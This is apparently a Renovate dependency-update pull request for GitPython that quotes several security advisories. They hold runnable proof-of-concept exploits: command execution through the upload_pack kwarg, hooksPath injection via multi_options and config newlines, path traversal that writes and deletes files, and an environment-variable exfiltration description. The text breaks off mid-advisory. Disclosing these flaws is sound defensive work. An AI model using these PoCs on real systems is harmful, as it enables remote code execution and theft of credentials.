  • git/objects/submodule/base.py Submodule.add: url = Git.polish_url(url, expand_vars=False)

More robustly, flip the Git.polish_url() default to expand_vars=False (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.

Cleanup
rm -rf /tmp/gp-remote-poc
Impact

Any secret in the hosting process environment (AWS_SECRET_ACCESS_KEY, GITHUB_TOKEN, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to Repo.create_remote() / Remote.add(). The secret is expanded into .git/config immediately and transmitted over the network (DNS + HTTP) on the next fetch/pull/remote update. This is the documented "import repository from URL" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches .gitmodules (a committable file) via Submodule.add().

Severity

  • CVSS Score: 7.5 / 10 (High)
  • Vector String: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

References

This data is provided by OSV and the GitHub Advisory Database (CC-BY 4.0).


Release Notes

gitpython-developers/GitPython (gitpython)

v3.1.55: - Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.54...3.1.55

v3.1.54: - Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.53...3.1.54

v3.1.53: - Security

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.52...3.1.53

v3.1.52: Security

Compare Source

https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573: Environment-variable exfiltration via os.path.expandvars() on Repo.clone_from() URL

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.51...3.1.52

v3.1.51: - Security

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.50...3.1.51

v3.1.50

Compare Source

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.49...3.1.50

v3.1.49: - Security

Compare Source

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.48...3.1.49

v3.1.48: - Security

Compare Source

Accidentally deleted the previous GH release, it did mention the advisory this fixes.

What's Changed

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.47...3.1.48

v3.1.47: - with security fixes

Compare Source

Advisories

What's Changed

New Contributors

Full Changelog: https://github.com/gitpython-developers/GitPython/compare/3.1.46...3.1.47


Configuration

📅 Schedule: (UTC)

  • Branch creation
    • At any time (no schedule defined)
  • Automerge
    • At any time (no schedule defined)

🚦 Automerge: Disabled by config. Please merge this manually once you are satisfied.

Rebasing: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 Ignore: Close this PR and you won't be reminded about this update again.


  • If you want to rebase/retry this PR, check this box

This PR has been generated by Mend Renovate.

This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [gitpython](https://github.com/gitpython-developers/GitPython) | `3.1.46` → `3.1.55` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/gitpython/3.1.55?slim=true) | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/gitpython/3.1.46/3.1.55?slim=true) | --- ### GitPython has Command Injection via Git options bypass [CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) / [GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) / PYSEC-2026-2160 <details> <summary>More information</summary> #### Details ##### Summary GitPython blocks dangerous Git options such as `--upload-pack` and `--receive-pack` by default, but the equivalent Python kwargs `upload_pack` and `receive_pack` bypass that check. If an application passes attacker-controlled kwargs into `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()`, this leads to arbitrary command execution even when `allow_unsafe_options` is left at its default value of `False`. ##### Details GitPython explicitly treats helper-command options as unsafe because they can be used to execute arbitrary commands: - `git/repo/base.py:145-153` marks clone options such as `--upload-pack`, `-u`, `--config`, and `-c` as unsafe. - `git/remote.py:535-548` marks fetch/pull/push options such as `--upload-pack`, `--receive-pack`, and `--exec` as unsafe. The vulnerable API paths check the raw kwarg names before they're its normalized into command-line flags: - `Repo.clone_from()` checks `list(kwargs.keys())` in `git/repo/base.py:1387-1390` - `Remote.fetch()` checks `list(kwargs.keys())` in `git/remote.py:1070-1071` - `Remote.pull()` checks `list(kwargs.keys())` in `git/remote.py:1124-1125` - `Remote.push()` checks `list(kwargs.keys())` in `git/remote.py:1197-1198` That validation is performed by `Git.check_unsafe_options()` in `git/cmd.py:948-961`. The validator correctly blocks option names such as `upload-pack`, `receive-pack`, and `exec`. Later, GitPython converts Python kwargs into Git command-line flags in `Git.transform_kwarg()` at `git/cmd.py:1471-1484`. During that step, underscore-form kwargs are dashified: - `upload_pack=...` becomes `--upload-pack=...` - `receive_pack=...` becomes `--receive-pack=...` Because the unsafe-option check runs before this normalization, underscore-form kwargs bypass the safety check even though they become the exact dangerous Git flags that the code is supposed to reject. In practice: - `remote.fetch(**{"upload-pack": helper})` is blocked with `UnsafeOptionError` - `remote.fetch(upload_pack=helper)` is allowed and reaches helper execution The same bypass works for: ```python Repo.clone_from(origin, out, upload_pack=helper) repo.remote("origin").fetch(upload_pack=helper) repo.remote("origin").pull(upload_pack=helper) repo.remote("origin").push(receive_pack=helper) ``` This does not appear to affect every unsafe option. For example, `exec=` is already rejected because the raw kwarg name `exec` matches the blocked option name before normalization. Existing tests cover the hyphenated form, not the vulnerable underscore form. For example: - `test/test_clone.py:129-136` checks `{"upload-pack": ...}` - `test/test_remote.py:830-833` checks `{"upload-pack": ...}` - `test/test_remote.py:968-975` checks `{"receive-pack": ...}` Those tests correctly confirm the literal Git option names are blocked, but they do not exercise the normal Python kwarg spelling that bypasses the guard. ##### PoC 1. Create and activate a virtual environment in the repository root: ```bash python3 -m venv .venv-sec .venv-sec/bin/pip install setuptools gitdb source ./.venv-sec/bin/activate ``` 2. make a new python file and put the following in there, then run it: ```python import os import stat import subprocess import tempfile from git import Repo from git.exc import UnsafeOptionError ##### Setup: create isolated repositories so the PoC uses a normal fetch flow. base = tempfile.mkdtemp(prefix="gp-poc-risk-") origin = os.path.join(base, "origin.git") producer = os.path.join(base, "producer") victim = os.path.join(base, "victim") proof = os.path.join(base, "proof.txt") wrapper = os.path.join(base, "wrapper.sh") ##### Setup: this wrapper is just to demo things you can do, not required for the exploit to work ##### you could also do something like an SSH reverse shell, really anything with open(wrapper, "w") as f: f.write(f"""#!/bin/sh {{ echo "code_exec=1" echo "whoami=$(id)" echo "cwd=$(pwd)" echo "uname=$(uname -a)" printf 'argv='; printf '<%s>' "$@&#8203;"; echo env | grep -E '^(HOME|USER|PATH|SSH_AUTH_SOCK|CI|GITHUB_TOKEN|AWS_|AZURE_|GOOGLE_)=' | sed 's/=.*$/=<redacted>/' || true }} > '{proof}' exec git-upload-pack "$@&#8203;" """) os.chmod(wrapper, stat.S_IRWXU) subprocess.run(["git", "init", "--bare", origin], check=True, stdout=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, producer], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) with open(os.path.join(producer, "README"), "w") as f: f.write("x") subprocess.run(["git", "-C", producer, "add", "README"], check=True, stdout=subprocess.DEVNULL) subprocess.run( ["git", "-C", producer, "-c", "user.name=t", "-c", "user.email=t@t", "commit", "-m", "init"], check=True, stdout=subprocess.DEVNULL, ) subprocess.run(["git", "-C", producer, "push", "origin", "HEAD"], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) subprocess.run(["git", "clone", origin, victim], check=True, stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL) repo = Repo(victim) remote = repo.remote("origin") ##### the literal Git option name is properly blocked. try: remote.fetch(**{"upload-pack": wrapper}) print("control=unexpected_success") except UnsafeOptionError: print("control=blocked") ##### this is the actual vulnerability ##### you can also just do upload_pack="touch /tmp/proof", the wrapper is just to show greater impact ##### if you do the "touch /tmp/proof" the script will crash, but the file will have been created remote.fetch(upload_pack=wrapper) ##### Proof: the helper ran as the GitPython host process. print("proof_exists", os.path.exists(proof), proof) print(open(proof).read()) ``` 3. Expected result: - The script prints `control=blocked` - The script prints `proof_exists True ...` - The proof file contains evidence that the attacker-controlled helper executed as the local application account, including `id`, working directory, argv, and selected environment variable names Example output: ```bash GitPython % python3 test.py control=blocked proof_exists True /var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/proof.txt code_exec=1 whoami=uid=501(wes) gid=20(staff) <redacted> cwd=/private/var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/victim uname=Darwin <redacted> Darwin Kernel Version <redacted>; root:xnu-11417. <redacted> argv=</var/folders/p4/kldmq4m13nd19dhy7lxs4jfw0000gn/T/gp-poc-risk-a1oftfku/origin.git> USER=<redacted> SSH_AUTH_SOCK=<redacted> PATH=<redacted> HOME=<redacted> ``` This PoC does not require a malicious repository. The PoC uses that fresh blank repository. The only attacker-controlled input is the kwarg that GitPython turns into `--upload-pack`. ##### Impact Who is impacted: - Web applications that let users configure repository import, sync, mirroring, fetch, pull, or push behavior - Systems that accept a user-provided dict of "extra Git options" and pass it into GitPython with `**kwargs` - CI/CD systems, workers, automation bots, or internal tools that build GitPython calls from untrusted integration settings or job definitions (yaml, json, etc configs ) What the attacker needs to control: - A value that becomes `upload_pack` or `receive_pack` in the kwargs passed to `Repo.clone_from()`, `Remote.fetch()`, `Remote.pull()`, or `Remote.push()` From a severity perspective, this could lead to - Theft of SSH keys, deploy credentials, API tokens, or cloud credentials available to the process - Modification of repositories, build outputs, or release artifacts - Lateral movement from CI/CD workers or automation hosts - Full compromise of the worker or service process handling repository operations The highest-risk environments are network-reachable services and automation systems that expose these GitPython kwargs across a trust boundary while relying on the default unsafe-option guard for protection. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-rpm5-65cw-6hj4) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### GitPython: Unsafe option check validates multi_options before shlex.split transformation [CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) / [GHSA-x2qx-6953-8485](https://github.com/advisories/GHSA-x2qx-6953-8485) / PYSEC-2026-2161 <details> <summary>More information</summary> #### Details ##### Summary `_clone()` validates `multi_options` as the original list, then executes `shlex.split(" ".join(multi_options))`. A string like `"--branch main --config core.hooksPath=/x"` passes validation (starts with `--branch`), but after split becomes `["--branch", "main", "--config", "core.hooksPath=/x"]`. Git applies the config and executes attacker hooks during clone. ##### Details The vulnerable code is in [`git/repo/base.py` line 1383](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1383): ```python multi = shlex.split(" ".join(multi_options)) ``` Then validation runs on the **original** list at [line 1390](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1390): ```python Git.check_unsafe_options(options=multi_options, unsafe_options=cls.unsafe_git_clone_options) ``` Then execution uses the **transformed** result at [line 1392](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/repo/base.py#L1392): ```python proc = git.clone(multi, "--", url, path, ...) ``` The [check at `git/cmd.py` line 959](https://github.com/gitpython-developers/GitPython/blob/5937d14a2c5e532fcb3ece0f45bf75e5bf18539e/git/cmd.py#L959) uses `startswith`: ```python if option.startswith(unsafe_option) or option == bare_option: ``` `"--branch main --config ..."` does not start with `"--config"`, so it passes. After `shlex.split`, `"--config"` becomes its own token and reaches git. Also affects `Submodule.update()` via `clone_multi_options`. ##### PoC ```python import sys, pathlib, subprocess sys.path.insert(0, str(pathlib.Path(__file__).resolve().parent)) from git import Repo from git.exc import UnsafeOptionError try: Repo.clone_from("/nonexistent", "/tmp/x", multi_options=["--config", "core.hooksPath=/x"]) except UnsafeOptionError: print("multi_options=['--config', '...']: Block as expected") except Exception: pass DIR = pathlib.Path(__file__).resolve().parent / "workdir_b" SRC = DIR / "repo" DST = DIR / "dst" HOOKS = DIR / "hooks" LOG = DIR / "output.log" if not SRC.exists(): SRC.mkdir(parents=True) r = lambda *a: subprocess.run(a, cwd=SRC, capture_output=True) r("git", "init", "-b", "main") (SRC / "f").write_text("x\n") r("git", "add", ".") r("git", "commit", "-m", "init") HOOKS.mkdir(exist_ok=True) hook = HOOKS / "post-checkout" hook.write_text(f"#!/bin/sh\nwhoami > {LOG.as_posix()}\nhostname >> {LOG.as_posix()}\n") hook.chmod(0o755) LOG.unlink(missing_ok=True) payload = "--branch main --config core.hooksPath=" + HOOKS.as_posix() try: Repo.clone_from(str(SRC), str(DST), multi_options=[payload]) except UnsafeOptionError: print(f"multi_options=['{payload}']: BLOCKED"); sys.exit(1) except Exception: pass if not LOG.exists() and DST.exists(): subprocess.run(["git", "checkout", "--force", "main"], cwd=DST, capture_output=True) print(f"multi_options=['{payload}']: not blocked") print(f"\nHook executed: {LOG.exists()}") if LOG.exists(): print(LOG.read_text().strip()) ``` **Output:** ``` multi_options=['--config', '...']: Block as expected multi_options=['--branch main --config core.hooksPath=.../hooks']: not blocked Hook executed: True texugo DESKTOP-5w5HH79 ``` ##### Impact Any application passing user input to `multi_options` in `clone_from()`, `clone()`, or `Submodule.update()` is vulnerable. Attacker embeds `--config core.hooksPath=<dir>` inside a string starting with a safe option. Check does not block it. Git executes attacker code. Same class as CVE-2023-40267. #### Severity - CVSS Score: 8.1 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485) - [https://nvd.nist.gov/vuln/detail/CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-x2qx-6953-8485) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-42215](https://nvd.nist.gov/vuln/detail/CVE-2026-42215) / [GHSA-rpm5-65cw-6hj4](https://github.com/advisories/GHSA-rpm5-65cw-6hj4) / PYSEC-2026-2160 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. From version 3.1.30 to before version 3.1.47, GitPython blocks dangerous Git options such as --upload-pack and --receive-pack by default, but the equivalent Python kwargs upload_pack and receive_pack bypass that check. If an application passes attacker-controlled kwargs into Repo.clone_from(), Remote.fetch(), Remote.pull(), or Remote.push(), this leads to arbitrary command execution even when allow_unsafe_options is left at its default value of False. This issue has been patched in version 3.1.47. #### Severity - CVSS Score: 8.8 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rpm5-65cw-6hj4) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2160) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### [CVE-2026-42284](https://nvd.nist.gov/vuln/detail/CVE-2026-42284) / [GHSA-x2qx-6953-8485](https://github.com/advisories/GHSA-x2qx-6953-8485) / PYSEC-2026-2161 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.47, _clone() validates multi_options as the original list, then executes shlex.split(" ".join(multi_options)). A string like "--branch main --config core.hooksPath=/x" passes validation (starts with --branch), but after split becomes ["--branch", "main", "--config", "core.hooksPath=/x"]. Git applies the config and executes attacker hooks during clone. This issue has been patched in version 3.1.47. #### Severity - CVSS Score: 9.8 / 10 (Critical) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H` #### References - [https://www.tenable.com/cve/CVE-2026-32686](https://www.tenable.com/cve/CVE-2026-32686) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.47) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-x2qx-6953-8485) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2161) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython reference APIs has a path traversal vulnerability that allows arbitrary file write and delete outside the repository [CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) / [GHSA-7545-fcxq-7j24](https://github.com/advisories/GHSA-7545-fcxq-7j24) / PYSEC-2026-2162 <details> <summary>More information</summary> #### Details ##### 🧾 Summary A vulnerability in **GitPython** allows **attackers who can supply a crafted reference path to an application using GitPython** to **write, overwrite, move, or delete files outside the repository’s `.git` directory** via **insufficient validation of reference paths in reference creation, rename, and delete operations**. --- ##### 📦 Affected Versions * Affected: `<= 3.1.46` and current `main` (`3.1.47` in local checkout) --- ##### 🧠 Details ##### Vulnerability Type **Path Traversal leading to Arbitrary File Write and Arbitrary File Deletion** --- ##### Root Cause Reference paths are validated when they are resolved for reading, but are not consistently validated before filesystem write, rename, and delete operations. `SymbolicReference._check_ref_name_valid()` rejects traversal sequences such as `..`, but `SymbolicReference.create`, `Reference.create`, `SymbolicReference.set_reference`, `SymbolicReference.rename`, and `SymbolicReference.delete` still construct filesystem paths from attacker-controlled ref names without enforcing repository boundaries. --- ##### Affected Code ```python def set_reference(self, ref, logmsg=None): ... fpath = self.abspath assure_directory_exists(fpath, is_file=True) lfd = LockedFD(fpath) fd = lfd.open(write=True, stream=True) ... ``` ```python @&#8203;classmethod def delete(cls, repo, path): full_ref_path = cls.to_full_path(path) abs_path = os.path.join(repo.common_dir, full_ref_path) if os.path.exists(abs_path): os.remove(abs_path) ``` ```python def rename(self, new_path, force=False): new_path = self.to_full_path(new_path) new_abs_path = os.path.join(_git_dir(self.repo, new_path), new_path) cur_abs_path = os.path.join(_git_dir(self.repo, self.path), self.path) ... os.rename(cur_abs_path, new_abs_path) ``` --- ##### Attack Vector **Local attack through application-controlled input passed into GitPython reference APIs** ##### Authentication Required **None at the library boundary. In practice, exploitation requires the ability to influence ref names supplied by the consuming application.** --- ##### 🧪 Proof of Concept ##### Setup ```bash pip install GitPython==3.1.46 python poc.py ``` --- ##### Exploit ```python import shutil from pathlib import Path from git import Repo from git.refs.reference import Reference from git.refs.symbolic import SymbolicReference base = Path("gp-ghsa-poc").resolve() if base.exists(): shutil.rmtree(base) repo_dir = base / "repo" repo = Repo.init(repo_dir) (repo_dir / "a.txt").write_text("init\n", encoding="utf-8") repo.index.add(["a.txt"]) repo.index.commit("init") outside_write = base / "outside_write.txt" outside_delete = base / "outside_delete.txt" outside_delete.write_text("DELETE ME\n", encoding="utf-8") print(f"repo_dir = {repo_dir}") print(f"outside_write = {outside_write}") print(f"outside_delete = {outside_delete}") Reference.create(repo, "../../../outside_write.txt", "HEAD") print("\n[+] outside_write exists:", outside_write.exists()) if outside_write.exists(): print("[+] outside_write content:") print(outside_write.read_text(encoding="utf-8")) SymbolicReference.delete(repo, "../../../outside_delete.txt") print("\n[+] outside_delete exists after delete:", outside_delete.exists()) ``` --- ##### Result ```text repo_dir = ...\gp-ghsa-poc\repo outside_write = ...\gp-ghsa-poc\outside_write.txt outside_delete = ...\gp-ghsa-poc\outside_delete.txt [+] outside_write exists: True [+] outside_write content: <current HEAD commit SHA> [+] outside_delete exists after delete: False ``` --- ##### 💥 Impact ##### What can an attacker do? * Create or overwrite files outside the repository metadata directory * Delete attacker-chosen files reachable from the process permissions * Corrupt application state or configuration files * Cause denial of service by deleting or overwriting important files --- ##### Security Impact * **Confidentiality:** Low * **Integrity:** High * **Availability:** High --- ##### Who is affected? * Applications that expose GitPython reference operations to user-controlled input * Git automation services, repository management backends, CI/CD helpers, and developer platforms * Multi-user environments where one user can influence ref names processed on behalf of another workflow --- ##### 🛠️ Mitigation / Fix ##### Recommended Fix ```python def _validate_ref_write_path(repo, path, *, for_git_dir=False): SymbolicReference._check_ref_name_valid(path) base = Path(repo.git_dir if for_git_dir else repo.common_dir).resolve() target = (base / path).resolve() if base not in [target, *target.parents]: raise ValueError(f"Reference path escapes repository boundary: {path}") return str(target) ``` ```python full_ref_path = cls.to_full_path(path) _validate_ref_write_path(repo, full_ref_path) ``` #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:P` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24) - [https://nvd.nist.gov/vuln/detail/CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-7545-fcxq-7j24) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-44243](https://nvd.nist.gov/vuln/detail/CVE-2026-44243) / [GHSA-7545-fcxq-7j24](https://github.com/advisories/GHSA-7545-fcxq-7j24) / PYSEC-2026-2162 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.48, a vulnerability in GitPython allows attackers who can supply a crafted reference path to an application using GitPython to write, overwrite, move, or delete files outside the repository’s .git directory via insufficient validation of reference paths in reference creation, rename, and delete operations. This issue has been patched in version 3.1.48. #### Severity - CVSS Score: 7.1 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.48) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-7545-fcxq-7j24) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2162) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Newline injection in config_writer().set_value() enables RCE via core.hooksPath [CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) / [GHSA-v87r-6q3f-2j67](https://github.com/advisories/GHSA-v87r-6q3f-2j67) / PYSEC-2026-2163 <details> <summary>More information</summary> #### Details `GitConfigParser.set_value()` passes values to Python's `configparser` without validating for newlines. GitPython's own `_write()` converts embedded newlines into indented continuation lines (e.g. `\n` becomes `\n\t`), but Git still accepts an indented `[core]` stanza as a section header — so the injected `core.hooksPath` becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. The vulnerability is not merely malformed config output: GitPython's own writer converts embedded newlines into indented continuation lines, but Git still accepts an indented `[core]` stanza as a section header, so the injected `core.hooksPath` becomes effective configuration. This was found while auditing MLRun's `project.push()` method, which passes `author_name` and `author_email` directly to `config_writer().set_value()` with no sanitization. Both parameters cross a trust boundary — they are caller-supplied API inputs that end up in `.git/config`. PoC (standalone, no MLRun required): ```python import git, subprocess, os repo = git.Repo("/tmp/testrepo") with repo.config_writer() as cw: cw.set_value("user", "name", "foo\n[core]\nhooksPath=/tmp/hooks") r = subprocess.run(["git", "config", "core.hooksPath"], cwd="/tmp/testrepo", capture_output=True, text=True) assert r.returncode == 0 print(r.stdout.strip()) # /tmp/hooks os.makedirs("/tmp/hooks", exist_ok=True) open("/tmp/hooks/pre-commit", "w").write("#!/bin/sh\nid > /tmp/pwned\n") os.chmod("/tmp/hooks/pre-commit", 0o755) repo.index.add(["README"]) repo.git.commit(m="test") print(open("/tmp/pwned").read()) # uid=... ``` Tested on GitPython 3.1.46, git 2.39+. Impact: This is persistent repo config poisoning. Any user who can supply `author_name` or `author_email` to an application calling `config_writer().set_value()` can redirect Git hook execution to an arbitrary path. In a multi-user or hosted environment (e.g. a shared MLRun server where multiple users push to the same repositories), one user can poison the `.git/config` of a shared repo and have their hooks run in the context of every subsequent Git operation by any user. On single-user deployments, the impact depends on whether the application later invokes Git hooks automatically. Remediation: `set_value()` should raise on CR, LF, or NUL in values rather than silently pass them through: ```python import re if isinstance(value, (str, bytes)) and re.search(r"[\r\n\x00]", str(value)): raise ValueError("Git config values must not contain CR, LF, or NUL") ``` Rejecting is safer than stripping — a stripped newline might indicate the caller is passing unsanitized input at a higher level, and silent normalization masks that. Affected wherever `config_writer().set_value(section, key, user_input)` is called with external input.** GitPython is a dependency of DVC, MLflow, Kedro, and others — worth auditing their `set_value()` call sites for externally influenced inputs. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67) - [https://nvd.nist.gov/vuln/detail/CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) - [https://github.com/gitpython-developers/GitPython](https://github.com/gitpython-developers/GitPython) - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49) This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-v87r-6q3f-2j67) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### [CVE-2026-44244](https://nvd.nist.gov/vuln/detail/CVE-2026-44244) / [GHSA-v87r-6q3f-2j67](https://github.com/advisories/GHSA-v87r-6q3f-2j67) / PYSEC-2026-2163 <details> <summary>More information</summary> #### Details GitPython is a python library used to interact with Git repositories. Prior to version 3.1.49, GitConfigParser.set_value() passes values to Python's configparser without validating for newlines. GitPython's own _write() converts embedded newlines into indented continuation lines (e.g. \n becomes \n\t), but Git still accepts an indented [core] stanza as a section header — so the injected core.hooksPath becomes effective configuration. Any Git operation that invokes hooks (commit, merge, checkout) will then execute scripts from the attacker-controlled path. This issue has been patched in version 3.1.49. #### Severity - CVSS Score: 7.8 / 10 (High) - Vector String: `CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H` #### References - [https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49](https://github.com/gitpython-developers/GitPython/releases/tag/3.1.49) - [https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-v87r-6q3f-2j67) This data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-2163) and the [PyPI Advisory Database](https://github.com/pypa/advisory-database) ([CC-BY 4.0](https://github.com/pypa/advisory-database/blob/main/LICENSE)). </details> --- ### GitPython: Newline injection in config_writer() section parameter bypasses CVE-2026-42215 patch, enabling RCE via core.hooksPath [GHSA-mv93-w799-cj2w](https://github.com/advisories/GHSA-mv93-w799-cj2w) <details> <summary>More information</summary> #### Details Summary The patch for CVE-2026-42215 (GitPython 3.1.49) validates newlines only in the value parameter of set_value(). The section and option parameters are passed to configparser without any newline validation. An attacker who controls the section argument can inject \n to write arbitrary section headers into .git/config, including a forged [core] section with hooksPath pointing to an attacker-controlled directory, leading to RCE when any git hook is triggered. Details File: git/config.py — GitPython 3.1.49 (latest patched version) ```python def set_value(self, section: str, option: str, value) -> "GitConfigParser": value_str = self._value_to_string_safe(value) # only value is validated if not self.has_section(section): self.add_section(section) # section not validated super().set(section, option, value_str) # option not validated return self ``` _write() formats section headers as "[%s]\n" % name. When section = "user]\n[core", this writes [user]\n[core]\n — two valid section headers — into .git/config. PoC ```python import git, os, subprocess repo = 